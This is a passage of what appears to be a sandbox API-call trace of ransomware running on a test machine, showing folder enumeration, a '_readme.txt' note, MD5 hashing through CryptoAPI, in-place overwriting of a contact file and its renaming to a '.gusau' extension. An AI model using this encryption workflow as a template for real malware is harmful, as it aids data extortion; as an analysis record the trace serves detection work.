(pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.ini") returned=".ini" [0116.745] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2a9e06e0, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x2a9e06e0, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0116.745] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0116.745] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0116.745] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0116.745] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0116.745] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0116.745] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0116.745] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0116.745] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2a994420, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x2a994420, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0116.745] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bf02a10, ftCreationTime.dwHighDateTime=0x1d53dff, ftLastAccessTime.dwLowDateTime=0x6bf02a10, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x6bf02a10, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x495, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0116.746] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned=".txt" [0116.746] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bf02a10, ftCreationTime.dwHighDateTime=0x1d53dff, ftLastAccessTime.dwLowDateTime=0x6bf02a10, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x6bf02a10, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x495, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0116.746] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.746] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0116.746] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.746] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0116.746] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.746] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0116.746] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.746] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0116.746] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.746] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0116.746] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.746] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0116.746] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0116.746] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0116.746] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.746] PathFindFileNameW (pszPath="") returned="" [0116.746] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.746] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.747] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x406131a0, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x406131a0, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1 [0116.747] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LocalLow", cAlternateFileName="")) returned 1 [0116.747] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2acb4100, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x2acb4100, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1 [0116.747] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2acb4100, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x2acb4100, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0 [0116.747] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.747] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0116.747] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.747] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\") returned="Application Data\\" [0116.747] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0116.747] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0116.747] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.747] PathFindFileNameW (pszPath="") returned="" [0116.747] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2acb4100, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x2acb4100, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0xffffffff [0116.747] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0116.747] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.747] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\") returned="Contacts\\" [0116.747] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0116.747] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0116.747] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.747] PathFindFileNameW (pszPath="") returned="" [0116.747] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.748] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.748] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ea7ef20, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2ea7ef20, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2ea7ef20, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x49a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Aclviho ASldjfl.contact", cAlternateFileName="ACLVIH~1.CON")) returned 1 [0116.748] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact") returned=".contact" [0116.748] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0116.749] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=1178) returned 1 [0116.749] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0116.751] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.751] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0116.753] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x49a, lpOverlapped=0x0) returned 1 [0116.753] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.753] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.753] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.753] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf09c0) returned 1 [0116.754] CryptCreateHash (in: hProv=0xdf09c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0116.754] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0116.755] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0116.755] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0116.755] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0116.755] GetLastError () returned 0x0 [0116.755] SetLastError (dwErrCode=0x0) [0116.755] GetLastError () returned 0x0 [0116.755] SetLastError (dwErrCode=0x0) [0116.755] GetLastError () returned 0x0 [0116.755] SetLastError (dwErrCode=0x0) [0116.755] GetLastError () returned 0x0 [0116.755] SetLastError (dwErrCode=0x0) [0116.755] GetLastError () returned 0x0 [0116.755] SetLastError (dwErrCode=0x0) [0116.755] GetLastError () returned 0x0 [0116.755] SetLastError (dwErrCode=0x0) [0116.755] GetLastError () returned 0x0 [0116.755] SetLastError (dwErrCode=0x0) [0116.755] GetLastError () returned 0x0 [0116.755] SetLastError (dwErrCode=0x0) [0116.755] GetLastError () returned 0x0 [0116.755] SetLastError (dwErrCode=0x0) [0116.755] GetLastError () returned 0x0 [0116.755] SetLastError (dwErrCode=0x0) [0116.755] GetLastError () returned 0x0 [0116.755] SetLastError (dwErrCode=0x0) [0116.756] GetLastError () returned 0x0 [0116.756] SetLastError (dwErrCode=0x0) [0116.756] GetLastError () returned 0x0 [0116.756] SetLastError (dwErrCode=0x0) [0116.756] GetLastError () returned 0x0 [0116.756] SetLastError (dwErrCode=0x0) [0116.756] GetLastError () returned 0x0 [0116.756] SetLastError (dwErrCode=0x0) [0116.756] GetLastError () returned 0x0 [0116.756] SetLastError (dwErrCode=0x0) [0116.756] GetLastError () returned 0x0 [0116.756] SetLastError (dwErrCode=0x0) [0116.756] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.756] GetLastError () returned 0x0 [0116.756] SetLastError (dwErrCode=0x0) [0116.756] GetLastError () returned 0x0 [0116.756] SetLastError (dwErrCode=0x0) [0116.756] GetLastError () returned 0x0 [0116.756] SetLastError (dwErrCode=0x0) [0116.756] GetLastError () returned 0x0 [0116.756] SetLastError (dwErrCode=0x0) [0116.756] GetLastError () returned 0x0 [0116.756] SetLastError (dwErrCode=0x0) [0116.756] GetLastError () returned 0x0 [0116.756] SetLastError (dwErrCode=0x0) [0116.756] GetLastError () returned 0x0 [0116.756] SetLastError (dwErrCode=0x0) [0116.756] GetLastError () returned 0x0 [0116.757] SetLastError (dwErrCode=0x0) [0116.757] GetLastError () returned 0x0 [0116.757] SetLastError (dwErrCode=0x0) [0116.757] GetLastError () returned 0x0 [0116.757] SetLastError (dwErrCode=0x0) [0116.757] GetLastError () returned 0x0 [0116.757] SetLastError (dwErrCode=0x0) [0116.757] GetLastError () returned 0x0 [0116.757] SetLastError (dwErrCode=0x0) [0116.757] GetLastError () returned 0x0 [0116.757] SetLastError (dwErrCode=0x0) [0116.757] GetLastError () returned 0x0 [0116.757] SetLastError (dwErrCode=0x0) [0116.757] GetLastError () returned 0x0 [0116.757] SetLastError (dwErrCode=0x0) [0116.757] GetLastError () returned 0x0 [0116.757] SetLastError (dwErrCode=0x0) [0116.757] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0116.757] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.757] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x392a988 | out: hHeap=0xd10000) returned 1 [0116.757] CryptDestroyHash (hHash=0x3983720) returned 1 [0116.757] CryptReleaseContext (hProv=0xdf09c0, dwFlags=0x0) returned 1 [0116.757] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0116.757] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x4a0) returned 0x39f5210 [0116.757] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0116.757] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0116.758] WriteFile (in: hFile=0x610, lpBuffer=0x39f5210*, nNumberOfBytesToWrite=0x495, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f5210*, lpNumberOfBytesWritten=0x405fb24*=0x495, lpOverlapped=0x0) returned 1 [0116.758] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0116.758] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x49a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.758] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0116.758] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5210 [0116.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5210, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0116.758] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5640 [0116.758] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0116.758] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0116.758] WriteFile (in: hFile=0x610, lpBuffer=0x39f5640*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5640*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0116.758] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5640 | out: hHeap=0xd10000) returned 1 [0116.758] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0116.758] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0116.758] CloseHandle (hObject=0x610) returned 1 [0116.759] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0116.759] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x890) returned 0x39f5210 [0116.759] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0116.759] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact.gusau")) returned 1 [0116.760] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0116.760] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.761] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0c68 | out: hHeap=0xd10000) returned 1 [0116.761] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Administrator.contact", cAlternateFileName="ADMINI~1.CON")) returned 1 [0116.761] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.761] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0c68 [0116.761] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.761] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact") returned=".contact" [0116.761] 